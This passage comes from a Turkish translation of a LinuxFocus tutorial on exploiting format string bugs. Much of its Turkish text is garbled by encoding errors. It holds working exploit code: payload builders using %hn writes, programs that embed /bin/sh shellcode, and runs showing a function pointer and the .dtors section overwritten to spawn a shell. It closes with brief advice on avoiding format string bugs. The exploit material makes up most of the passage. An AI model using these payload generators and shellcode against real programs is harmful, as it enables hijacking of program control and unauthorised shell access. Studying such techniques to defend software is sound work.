    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* �imdi olu�tural�m */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* �st adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn i�in de�eri yerle�tirme*/
         "%%%d$hn"            /* %hn �st k�s�m i�in */

         "%%.%hdx"            /* ikinci %hn i�in de�eri yerle�tirme */
         "%%%d$hn"            /* %hn alt k�s�m i�in */
         ,
         b3+2, b2, b1, b0,    /* �st adres */
         b3, b2, b1, b0,      /* alt adres */

         valh-8,              /* ilk %hn i�in de�eri yerle�tirme */
         where,               /* %hn �st k�s�m i�in */

         vall-valh,           /* ikinci %hn i�in de�eri yerle�tirme */
         where+1              /* %hn alt k�s�m i�in */
         );

  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* �st adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn i�in de�eri yerle�tirme */
         "%%%d$hn"            /* %hn �st k�s�m i�in */

         "%%.%hdx"            /* ikinci %hn i�in de�eri yerle�tirme */
         "%%%d$hn"            /* %hn alt k�s�m i�in */
         ,
         b3+2, b2, b1, b0,    /* �st adres */
         b3, b2, b1, b0,      /* alt adres */

         vall-8,              /* ilk %hn i�in de�eri yerle�tirme */
         where+1,             /* %hn �st k�s�m i�in */

         valh-vall,           /* ikinci %hn i�in de�eri yerle�tirme */
         where                /* %hn alt k�s�m i�in */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */

  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Yaz�lacak de�erin kelimenin �st veya alt taraf�na yaz�lmas�na g�re parametrelerin yeri de�i�mektedir. Herhangi bellek sorunu ya�amadan �nce yapt���m�z bir deneyelim.

Basit �rne�imiz bize, ilk �nce uzakl���n tahmin edilmesinde yard�mc� olmaktad�r:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

De�er herzaman ayn� : 3. Program� olanlar� g�stermesi i�in yazd���m�za g�re ptrf ve accesForbidden() i�in gerekli olan bilgilere sahip oluyoruz. Katar�m�z� buna g�re olu�turabiliriz:

>>./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Hi� bir�ey olmad�! Ancak, �nceki �rne�imize g�re daha uzun katar kulland���m�zdan dolay� y���t de�i�ti (ptrf, 0xbffff5d4 den 0xbffff5b4 gitti). Dolay�s�yla de�erleri ayarlamam�z gerekmektedir:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Biz kazand�k!!!  

Di�er kullan�m �ekilleri

Bu makalenin ba��nda bi�imlendirme katarlar�nda yap�lan hatalar�n ger�ek tehlike yaratt�klar�n� g�rd�k. Ba�ka �nemli olan bir konu da bunlar�n nas�l kullan�laca��d�r. Katar ta�malar�, fonksiyonun d�n�� de�eri de�i�tirilerek kullan�lmaktad�r. Ondan sonra, beti�nizin do�ru de�erleri bulmas� i�in denemeler (genelde rastgele yap�l�r) yapman�z ve bol bol dua etmeniz gerekecektir. Bi�imlendirme katarlar� kullan�rsan�n b�t�n bunlara gerek kalmamaktad�r ve art�k fonksiyonun d�n�� de�erini de�i�tirmek gibi bir k�s�tlaman�z da kalmamaktad�r.

Bi�imlendirme hatalar� sayesinde istedi�imiz yere yazmam�z�n m�mk�n oldu�un g�rm��t�k. �imdi, .dtors b�l�m� ile ilgili bir kullan�m g�rece�iz.

gcc ile derlenen programlarda .ctors ad�nda bir yaratma ve bir de .dtors ad�nda yoketme b�l�m� yarat�lmaktad�r. Her iki b�l�mde de s�ras�yla main() fonksiyonuna giri�te ve ��k��ta �al��t�r�lacak fonksiyonlar i�in i�aret�iler bulunmaktad�r.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Basit bir �rnek programla i�leyi�in nas�l oldu�unu g�rebilmekteyiz:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Bu iki b�l�m�n herbiri ayn� �ekilde olu�turulmu�tur:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

.ctors b�l�m�n�n i�eri�i:
 804949c ffffffff dc830408 00000000           ............
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

.dtors b�l�m�n�n i�eri�i:
 80494a8 ffffffff f0830408 00000000           ............
G�sterilen adreslerin bizim fonksiyonlar�n adreslerine kar��l�k geldi�ini kontrol ettik (dikkat : objdump komutu adres de�erlerini k���k indian format�nda vermektedir):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Dolay�s�yla, bu b�l�mler 0xffffffff ve 0x00000000 ile s�n�rland�r�lan b�lgede ba�ta veya sonunda �al��t�r�lacak fonksiyonlar�n adreslerini i�ermektedir.

�imdi bunu vuln program� �zerine bir uygulayal�m. �lk �nce bu b�l�mlerin bellekteki yerlerini bulmam�z gerekecektir. �kili (binary) program elinizde oldu�unda bunu yapmak ger�ekten �ok kolay ;-) Daha �nce de oldu�u gibi sadece objdump kullan�n:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

.dtors b�l�m�n�n i�eri�i:
 8049844 ffffffff 00000000                    ........
��te burada ! �imdi gereksinim duydu�umuz her�eye sahibiz.

Bu kullan�m�n�n amac�, iki b�l�mden birinde bulunan adres de�erini �al��t�rmak istedi�imiz fonksiyonun adresi ile de�i�tirmektedir. E�er, bu b�l�mler bo� ise, o zaman b�l�m�n sonunu belirten 0x00000000 de�erini de�i�tirmemiz yeterli olacakt�r. Program, 0x00000000 de�erini bulamayaca�� i�in bir sonraki adres de�erini alacakt�r, ki bu b�y�k bir olas�l�kla yanl�� olacakt�r ve segmentation fault (b�l�mlendirme hatas�) almam�z� sa�layacakt�r.

Ger�ekte, tek ilgin� olan b�l�m yoketme (.dtors) b�l�m�d�r. ��nk� yaratma (.ctors) fonkisyonundan �nce bir �ey �al��t�racak zaman�m�z yoktur. Genelde, ba�lang�� (0xffffffff) adresinden 4 byte sonra bulunan adresi de�i�tirmek yeterli olacakt�r:

�rne�imize geri d�nelim ve .dtors b�l�m�ndeki 0x8049848=0x8049844+4 adresinde bulunan 0x00000000 de�eri, adresi 0x8048664 olan accesForbidden() fonksiyonunun adresi ile de�i�tirelim:

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Her�ey d�zg�n �al��maktad�r, main(), helloWorld() ve sonra da ��k��. Daha sonra yoketme fonksiyonu �al��t�rmaktad�r. .dtors b�l�m� accesForbidden() fonksiyonun adresi ile ba�lamaktad�r. Ondan sonra herhangi bir ger�ek adres de�eri bulunmad���nda coredump olay� ger�ekle�mektedir.  

L�tfen bana kabuk ver

Burada basit kullan�mlar g�rd�k. Ayn� prensipleri kullanarak, kabuk elde edebiliriz. Bunun i�in ya kabu�u argv[] parametre olark vererek ya da �evre de�i�keni kullanarak ger�ekle�tirebiliriz. Yapmam�z gereken, .dtors b�l�m�ne uygun adres de�erini yerle�tirmektir.

�u anda bildiklerimiz:

Ger�ekte programlar, �rne�imizde oldu�u gibi g�zel (adres de�erlerini belirten) de�ildir. Bunun i�in, belle�e bir kabuk koymay� ve daha sonra onun ger�ek adresini veren bir y�ntem tan�taca��z.

Buradaki fikir exec*() fonksiyonunun �zyenilemeli olarak �al��t�rmaya dayanmaktad�r:

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;

  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
Kendini �zyenilemeli olarak nb+1 defa �al��t�racak giri� de�eri nb tamsay�s�d�r :
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

arg ve argv'nin adres de�erlerinin ilk �al��t�rmadan sonra de�i�medi�ini hemen fark etmekteyiz. Bu �zelli�i daha sonra kullanaca��z. build program�m�z� vuln program�n� �al��t�rmadan �nce kendi kendini �al��t�racak �ekilde de�i�tiriyoruz. B�ylece, argv'nin tam adresini ve kabu�un adresini elde etmekteyiz:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki ayn� fonksiyon
}

int
main(int argc, char **argv) {

  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adres */
        &shellcode,
        atoi(argv[2]));              /* uzakl�k */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adres */
        argv[2],
        atoi(argv[4]));              /* uzakl�k */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Buradaki p�f nokta, programa verilen parametre say�s�na g�re ne �al��t�raca��m�z� bilmemizdedir. Ba�lamak i�in yapmam�z gereken de�i�tirece�imiz adres de�eri ile uzakl�k bilgilerini build2 program�na vermektir. Ard���k �al��t�rmalar sonucunda gerekli de�eri program kendisi hesaplayaca��ndan, art�k bu de�eri vermemiz gerekmiyor.

Ba�armak i�in build2 ve vuln programlar�n�n ard���k �al��t�rmalar� s�ras�ndaki bellek yap�s�n� oldu�u gibi korumam�z gerekmektedir (bu nedenledir ki ayn� bellek yap�s�n� kullans�n diye build() fonksiyon olarak kullan�yoruz):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Neden �al��mad�? �ki �al��t�rma s�ras�nda ayn� bellek yap�s�n� kullanmam�z gerekmektedir demi�tik, ancak bunu uygulamad�k! argv[0] (program�n ad�) de�i�ti. �lk �nce program�n ad� build2 (6 byte) idi ve daha sonra vuln oldu (4 byte). Aradaki vark 2 byte'd�r, bu yukar�daki �rnekte de fark edebilece�iniz de�erdir. build2 ikinci defa �a��r�lmas� s�ras�nda kabu�un adresi sc=0xbffff88f dir, ancak, vuln deki argv[2] de�eri 20xbffff891, yani bizim 2 byte. Bunu ��zmek i�in program�n ad�n� build2 den 4 karakterden olu�an bui2 olarak de�i�tirmek yeterli olacakt�r:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$

Yine kazand�k : bu �ekilde daha iyi �al��maktad�r ;-) ptrf'nin g�sterdi�i adres de�erini kabu�un adresini g�sterecek �ekilde de�i�tirdik. Tabii ki bu ancak y���t �al��t�r�labilir ise yapmak m�mk�n olmaktad�r.

Bi�imlendirme katarlar� her yere yazabilece�imizi sa�lamaktad�r, o zaman .dtors b�l�m�ne yoketme fonksiyonu ekleyelim :

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Yoketme b�l�m�ne kendi ��k�� fonksiyonumuzu koydu�umuz i�in coredump olu�mad�. Bunun nedeni bizim kabuk program�nda exit(0) fonksiyonunu �a��ran k�sm�n olmas�d�r.

En sonunda, �evre de�i�keni arac�l�yla kabuk elde etmemizi sa�layan build3.c program�n� hediye olarak veriyoruz:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki ayn� fonksiyon
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }

  return 0;
}

Tekrar s�ylemek gerekirse, ortam y���t �zerinde oldu�undan bellek yap�s�n� de�i�tirmememiz �ok �nemlidir (de�i�kenlerin ve programa verilen parametrelerin yerlerinin de�i�tirilmesi gibi). �kili (derlenmi�) program�n ad�, vuln ile ayn� byte say�s�na sahip olmas� gerekmektedir.

De�erleri atamak i�in extern char **environ envrensel de�i�kenler kullanmay� kararla�t�rd�k :

  1. environ[0]: kabuk adresini i�ermekte;
  2. environ[1]: de�i�tirece�imiz adres de�erini i�ermektedir;
  3. environ[2]: uzakl�k de�erini i�ermektedir.
Sizi b�rak�yoruz, bu olduk�a uzun olan makalede bir�ok kaynak program vard�r, denemeler yap�p, programlar ile oynayabilirsiniz.  

Sonu� : bi�imlendirme hatalar�ndan nas�l ka��nabiliriz ?

Makalede de g�sterildi�i gibi, hatalar�n kayna��, bi�imlendirme katarlar� olu�turulsun diye kullan�c�lara serbestlik tan�nmas�ndan dolay� kaynaklanmaktad�r. Bunun ��z�m� �ok basit : hi�bir zaman kullan�c�ya kendi bi�imlendirme katar�n� olu�turma f�rsat� vermeyin! Bu genelde, printf(), syslog(), gibi fonksiyonilar� �a��r�rken "%s" gibi bi�imlendirme katarlar�n�n yaz�lmas� demektir. E�er, mutlaka kullanmak gerekirse, o zaman kullan�c�n�n girmi� oldu�u de�erleri �ok iyi denetlemek gerekecektir.
 

Bilgi

Yazarlar, sabr�ndan (program�m�zda kabuk elde edemememizin nedeninin y���t�n �al��t�r�labilir olmamas�ndan kaynakland���n� bulmas� gerekti), verdi�i fikirlerden (exec*() ile ilgili p�f noktadan), bizi y�reklendirmesinden ve bi�imlendirme katarlar� ve onlar�n kullan�m� ile ilgi yazm�� oldu�u makaleden dolay� Pascal Kalou Bouchareine'e te�ekk�r eder.

 

Ba�lant�lar


Altyaz�

... komutlara 1
buradaki komutlara kelimesi, katar bi�imlendirmesini etkileyen her�ey anlam�ndad�r, geni�lik, duyarl�l�k ...
... byte2
-1, '\0' karakteri i�in yer ayr�ld���ndan dolay� gelmektedir.

 

Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz

Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
 talkback page 

G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz
�eviri bilgisi:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Frédéric
en -> en Lorne Bailey
en -> tr Erdal MUTLU

2001-08-02, generated by lfparser version 2.17